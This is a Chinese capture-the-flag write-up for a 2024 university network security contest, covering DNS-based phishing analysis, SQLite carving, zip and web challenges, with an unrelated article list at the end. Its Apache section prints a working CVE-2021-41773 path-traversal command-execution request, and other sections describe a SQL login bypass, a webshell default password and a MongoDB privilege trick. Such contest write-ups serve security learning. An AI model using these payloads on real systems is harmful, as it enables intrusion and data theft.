2024高校网络安全管理运维赛wp

文章目录

  • misc
    • 签到
    • 钓鱼邮件识别
    • easyshell
    • SecretDB
    • Gateway
    • zip
    • Apache
    • f for r
  • web
    • phpsql
    • Messy Mongo

misc

签到

image-20240507010857687

image-20240506093754240

钓鱼邮件识别

两部分解base64,各一个flag

image-20240507002206175

后面没有什么地方有有用信息了,根据题目钓鱼邮件,可能第三段flag就跟DMARC、DKIM 和 SPF有关了什么是 DMARC、DKIM 和 SPF? | Cloudflare (cloudflare-cn.com)

先看DKIM部分kmille/dkim-verify: Verifying a DKIM-Signature by hand (github.com)

image-20240507004038123

解析一下主域名,得到提示有三段flag,估计就对应DMARC、DKIM 和 SPF三种方法了

image-20240507005438468

照着里面所说构造DKIM的域名

image-20240507004206186

image-20240507004231478

default._domainkey.foobar-edu-cn.com

拿到第二段flag

image-20240507005724673

_Kn0wH0wt0_

思路正确,接着照着文章分别构造DMARC跟SPF的域名

_dmarc.foobar-edu-cn.com
spf.foobar-edu-cn.com

image-20240507010548705

image-20240507010631563

拼一下

flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}}

easyshell

冰蝎默认密码

image-20240506220630490

下载了加密的temp.zip

image-20240506220952220

后一个

image-20240506221139274

读了secret2.txt

image-20240506221159572

image-20240506221234853

下载下来明文攻击直接打

image-20240506221631296

SecretDB

可以先用fqlite看一遍,大概就可以看出flag是根据sort排的,(当然这一步没有问题也不是很大)

image-20240506221730759

定位到数据部分之后,一眼看到flag数据,接着就是顺序问题了

image-20240506222209859

优先看g{,因为这俩在flag{uuid}显然只会出现一次。对比一下可以看出sort字段跟message字段就前后两字节的,人话:flag数据前一位就是对应顺序

image-20240506221907835

往后再定位一下l,会发现他前面对应是0x0F,肯定有问题。(上两图是比赛时已经改过了的)

再看后面的4}ab6deb数据对比前面数据位置会发现偏移了一下,应该是l对应的sort字段被删了,手动补个0x02即可

image-20240506222737756

with open('secret.db', 'rb') as f:
    data = f.read()[7879:8193]
    flag_dict = {}
    for i in range(0, len(data), 8):
        flag_dict[data[i]] = chr(data[i + 1])
flag = ''
for i in range(0, 42):
    if i not in flag_dict.keys():
        flag += '?'
    else:
        flag += flag_dict[i]
print(flag)

#?lag{f6291bf0-923c-4ba6??2d7-ffabba4e8f0b}

第一个?肯定是f不用管了,仔细核对原来数据发现还有个-也有一字节的偏移,位置对应是0x17即第二个问号的位置

image-20240506223800522

因此可以得到,剩一个位置不知道

flag{f6291bf0-923c-4ba6-?2d7-ffabba4e8f0b}

0x18也没有找到后面跟着有效数据的,猜测该数据是被删除了,直接爆破flag即可,最终:

flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

/cgi-bin/baseinfoSet.json里一眼密码

简单处理一下

a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
print(' '.join(a.split('&')))

image-20240506224609845

预期解估计是

a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
for i in a.split('&'):
    tmp = chr(int(i))
    if tmp.isdigit():
        print(tmp,end='')
    else:
        print(chr(int(i)-4),end='')

2b题,下一道

zip

源码只比对了flag{,直接拿[del]去截断,注意zip和unzip部分token只需要发64位即可

from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())

r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()

image-20240506230034358

Apache

apache版本2.4.49

image-20240507003301067

源码

image-20240507003225786

构造一下POST包,CVE-2021-41773直接打

import requests

exp = f'''
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.1.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Connection: close

echo;cat /flag
'''.replace('\n','\r\n')

url = r'https://prob01-2gnkdedc.contest.pku.edu.cn/nc'


data = f'''------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="port"

80
------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="data"

{exp}
------WebKitFormBoundaryaaaaa--
'''
head = {
    'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryaaaaa',
}
test = requests.post(url,data=data,headers=head).text
print(test)

f for r

GEEKCON 原题 https://qanux.github.io/2024/04/22/geek2024/index.html

from ctypes import (windll, wintypes, c_uint64, cast, POINTER, Union, c_ubyte,
                    LittleEndianStructure, byref, c_size_t)
import zlib
# types and flags
DELTA_FLAG_TYPE             = c_uint64
DELTA_FLAG_NONE             = 0x00000000
DELTA_APPLY_FLAG_ALLOW_PA19 = 0x00000001
# structures
class DELTA_INPUT(LittleEndianStructure):
    class U1(Union):
        _fields_ = [('lpcStart', wintypes.LPVOID),
                   ('lpStart', wintypes.LPVOID)]
    _anonymous_ = ('u1',)
    _fields_ = [('u1', U1),
               ('uSize', c_size_t),
               ('Editable', wintypes.BOOL)]
class DELTA_OUTPUT(LittleEndianStructure):
    _fields_ = [('lpStart', wintypes.LPVOID),
                ('uSize', c_size_t)]
# functions
ApplyDeltaB = windll.msdelta.ApplyDeltaB
ApplyDeltaB.argtypes = [DELTA_FLAG_TYPE, DELTA_INPUT, DELTA_INPUT,
                        POINTER(DELTA_OUTPUT)]
ApplyDeltaB.rettype = wintypes.BOOL
DeltaFree = windll.msdelta.DeltaFree
DeltaFree.argtypes = [wintypes.LPVOID]
DeltaFree.rettype = wintypes.BOOL
gle = windll.kernel32.GetLastError
def apply_patchfile_to_buffer(buf, buflen, patchpath, legacy):
    with open(patchpath, 'rb') as patch:
        patch_contents = patch.read()
    # most (all?) patches (Windows Update MSU) come with a CRC32 prepended to thefile
    # we don't really care if it is valid or not, we just need to remove it if itis there
    # we only need to calculate if the file starts with PA30 or PA19 and then hasPA30 or PA19 after it
    magic = [b"PA30"]
    if legacy:
        magic.append(b"PA19")
    if patch_contents[:4] in magic and patch_contents[4:][:4] in magic:
        # we have to validate and strip the crc instead of just stripping it
        crc = int.from_bytes(patch_contents[:4], 'little')
        if zlib.crc32(patch_contents[4:]) == crc:
            # crc is valid, strip it, else don't
            patch_contents = patch_contents[4:]
    elif patch_contents[4:][:4] in magic:
        # validate the header strip the CRC, we don't care about it
        patch_contents = patch_contents[4:]
    # check if there is just no CRC at all
    elif patch_contents[:4] not in magic:
        # this just isn't valid
        raise Exception("Patch file is invalid")
 
    applyflags = DELTA_APPLY_FLAG_ALLOW_PA19 if legacy else DELTA_FLAG_NONE
    dd = DELTA_INPUT()
    ds = DELTA_INPUT()
    dout = DELTA_OUTPUT()
    ds.lpcStart = buf
    ds.uSize = buflen
    ds.Editable = False
    dd.lpcStart = cast(patch_contents, wintypes.LPVOID)
    dd.uSize = len(patch_contents)
    dd.Editable = False

    status = ApplyDeltaB(applyflags, ds, dd, byref(dout))
    if status == 0:
        raise Exception("Patch {} failed with error {}".format(patchpath, gle()))
    return (dout.lpStart, dout.uSize)
if __name__ == '__main__':
    import sys
    import base64
    import hashlib
    import argparse
    ap = argparse.ArgumentParser()
    mode = ap.add_mutually_exclusive_group(required=True)
    output = ap.add_mutually_exclusive_group(required=True)
    mode.add_argument("-i", "--input-file",
                      help="File to patch (forward or reverse)")
    mode.add_argument("-n", "--null", action="store_true", default=False,
                      help="Create the output file from a null diff "
                           "(null diff must be the first one specified)")
    output.add_argument("-o", "--output-file",
                        help="Destination to write patched file to")
    output.add_argument("-d", "--dry-run", action="store_true",
                        help="Don't write patch, just see if it would patch"
                             "correctly and get the resulting hash")
    ap.add_argument("-l", "--legacy", action='store_true', default=False,
                    help="Let the API use the PA19 legacy API (if required)")
    ap.add_argument("patches", nargs='+', help="Patches to apply")
    args = ap.parse_args()
    if not args.dry_run and not args.output_file:
        print("Either specify -d or -o", file=sys.stderr)
        ap.print_help()
        sys.exit(1)
    if args.null:
        inbuf = b""
    else:
        with open(args.input_file, 'rb') as r:
            inbuf = r.read()
    buf = cast(inbuf, wintypes.LPVOID)
    n = len(inbuf)
    to_free = []
    try:
        for patch in args.patches:
            buf, n = apply_patchfile_to_buffer(buf, n, patch, args.legacy)
            to_free.append(buf)
        outbuf = bytes((c_ubyte*n).from_address(buf))
        if not args.dry_run:
            with open(args.output_file, 'wb') as w:
                w.write(outbuf)

    finally:
        for buf in to_free:
            DeltaFree(buf)
    finalhash = hashlib.sha256(outbuf)
    print("Applied {} patch{} successfully"
         .format(len(args.patches), "es" if len(args.patches) > 1 else ""))
    print("Final hash: {}"
         .format(base64.b64encode(finalhash.digest()).decode()))

主机、虚拟机试了4种不同curl版本才出来

image-20240507001406831

其他版本都报错

image-20240507001735492

web

phpsql

单引号闭合万能密码绕过

image-20240506233640397

image-20240506233728496

Messy Mongo

给了login的patch,没一点过滤,考虑普通用户登陆之后新建一个ADMIN,然后直接利用$toLower去覆盖admin的mongo集合

image-20240506234740788

image-20240506235310620

image-20240506235657934

image-20240506235713780

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/614774.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ppt通过修改幻灯片母版修改页脚

修改幻灯片母版 幻灯片母版就可以了,就可以修改页脚

如何打破数据管理僵局,释放数据资产价值?[AMT企源案例]

引言 数据是企业信息运作的核心和基础,是影响企业决策的关键要素,而主数据是数据中的最基础和公共的部分。面临长期以来的数据治理缺失导致的杂论局面,如何有条不紊推进主数据管理,让数据资产“活”起来?S集团的做法非…

Linux线程(二)线程互斥

目录 一、为什么需要线程互斥 二、线程互斥的必要性 三、票务问题举例(多个线程并发的操作共享变量引发问题) 四、互斥锁的用法 1.互斥锁的原理 2、互斥锁的使用 1、初始化互斥锁 2、加锁和解锁 3、销毁互斥锁(动态分配时需要&#…

PostgreSQL的学习心得和知识总结(一百四十三)|深入理解PostgreSQL数据库之Support event trigger for logoff

目录结构 注:提前言明 本文借鉴了以下博主、书籍或网站的内容,其列表如下: 1、参考书籍:《PostgreSQL数据库内核分析》 2、参考书籍:《数据库事务处理的艺术:事务管理与并发控制》 3、PostgreSQL数据库仓库…

Stable Diffusion教程|图生图原理和实战

Stable Diffusion凭借其卓越的图生图功能,极大地提升了图像生成的可控性与输出品质,赋予用户前所未有的个性化创作风格表达能力。这一革新特性使得Stable Diffusion不仅能精准地捕捉用户的艺术愿景,更能以数字化手段孕育出新颖且极具创意的画…

论文 学习 Transformer : Attention Is All You Need

目录 概述: 对摘要的理解: 框架解析 按比例缩放的点积注意力 多头注意力机制 前馈神经网络与位置编码 概述: transformer 是一个encoder ——decoder 结构的用于处理序列到序列转换任务的框架,是第一个完全依赖自注意力机制…

写了 1000 条 Prompt 之后,我总结出了这 9 个框架【建议收藏】

如果你对于写 Prompt 有点无从下手,那么,本文将为你带来 9 个快速编写 Prompt 的框架,你可以根据自己的需求,选择任意一个框架,填入指定的内容,即可以得到一段高效的 Prompt,让 LLM 给你准确满意…

再谈毕业论文设计投机取巧之IVR自动语音服务系统设计(信息与通信工程A+其实不难)

目录 举个IVR例子格局打开,万物皆能IVR IVR系统其实可盐可甜。还能可圈可点。 戎马一生,归来依然IVR。 举个IVR例子 以下是IVR系统的一个例子。 当您拨打电话进入IVR系统。 首先检验是否为工作时间。 如是,您将被送入ivr-lang阶段&#xff0…

python3如何安装bs4

在python官网找到beautifulsoup模块的下载页面,点击"downloap"将该模块的安装包下载到本地。 将该安装包解压,然后在打开cmd,并通过cmd进入到该安装包解压后的文件夹目录下。 在该文件目录下输入"python install setup.py&quo…

程序人生 | 人生如棋,落子无悔

人生的开始,始于哭声,浮浮沉沉几十年。终了,一声长叹,在一片哭声中撒手离去。 人生的道路虽然漫长,但是关键就是那么几次机会的选择,可以决定此后几十年的光阴。 有个故事讲:古代有个人去砍柴…

搭建一个Xx431?

搭建一个Xx431? 嘿uu们!刚结束了一周六天班感觉如何? 我的状态倒还行,工作生活总能找到乐子,本周整活就是用纸巾和蛋糕托做的油灯,另外想制冷片做个温水冷水可调的杯托,但我还不会搞3d,希望今年能搞起来. 题外话就说到这,这个选题也是因为实际遇到的问题需要这玩意,下班路…

基于Matplotlib的模型性能可视化工作

一、项目简介 本项目是科技考古墓葬识别工作的中间过程,因为需要大量复用所以另起一章好了。 主要涉及到数据读取、数据可视化和少量的数据处理过程。 二、相关知识 PandasMatplotlib 三、实验过程 1. 数据探索性分析 1.1 准备工作–导入模块 import pandas…

【Python系列】Python中列表属性提取

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【Java orm 框架比较】十一 新增 原生jdbc对比

迁移到(https://gitee.com/wujiawei1207537021/spring-orm-integration-compare) orm框架使用性能比较 比较mybatis-plus、lazy、sqltoy、mybatis-flex、easy-query、mybatis-mp、jpa、dbvisitor、beetlsql、dream_orm、wood、hammer_sql_db、原生jdbc…

OpenCv中cv2.subtract(image,blurred)与(image-blurred)的区别

目录 一、cv2.subtract()函数二、cv2.subtract(image,blurred)和(image-blurred)处理效果对比2.1 代码2.2 输出结果 三、总结 一、cv2.subtract()函数 cv2.subtract是OpenCV库中的一个函数,用于进行图像减法运算。它可以很方便地进行两个图像…

LeetCode/NowCoder-链表经典算法OJ练习1

目录 说在前面 题目一:移除链表元素 题目二:反转链表 题目三:合并两个有序链表 题目四:链表的中间节点 SUMUP结尾 说在前面 dear朋友们大家好!💖💖💖数据结构的学习离不开刷题…

【C/C++笔试练习】DNS设置文件、应用层、Dos攻击、DNS服务、DNS、子网划分、http状态、路由设置、TCP连接、HTTP状态码、剪花布条、客似云来

文章目录 C/C笔试练习选择部分(1)DNS设置文件(2)应用层(3)Dos攻击(4)DNS服务(5)DNS(6)子网划分(7)http状态&am…

网络运维故障排错思路!!!!!(稳了!!!)

1 网络排错的必备条件 为什么要先讲必备条件?因为这里所讲的网络排错并不仅仅是停留在某一个小小命令的使用上,而是一套系统的方法,如果没有这些条件,我真的不能保证下面讲的这些你可以听得懂,并且能运用到实际当中&a…

Navicat 17:先睹为快

官方声明:Navicat 17(英文版)目前处于测试阶段中,并计划 5 月 13 日发布! 如果你觉得 Navicat 16 已经推出很多令人兴奋的新功能,那么这次你可能要好好看看 Navicat 17,本次升级涵盖了更多的内容…

ASP.NET WebApi 如何使用 OAuth2.0 认证

前言 OAuth 2.0 是一种开放标准的授权框架,用于授权第三方应用程序访问受保护资源的流程。 OAuth 2.0 认证是指在这个框架下进行的身份验证和授权过程。 在 OAuth 2.0 认证中,涉及以下主要参与方: 资源所有者(Resource Owner&…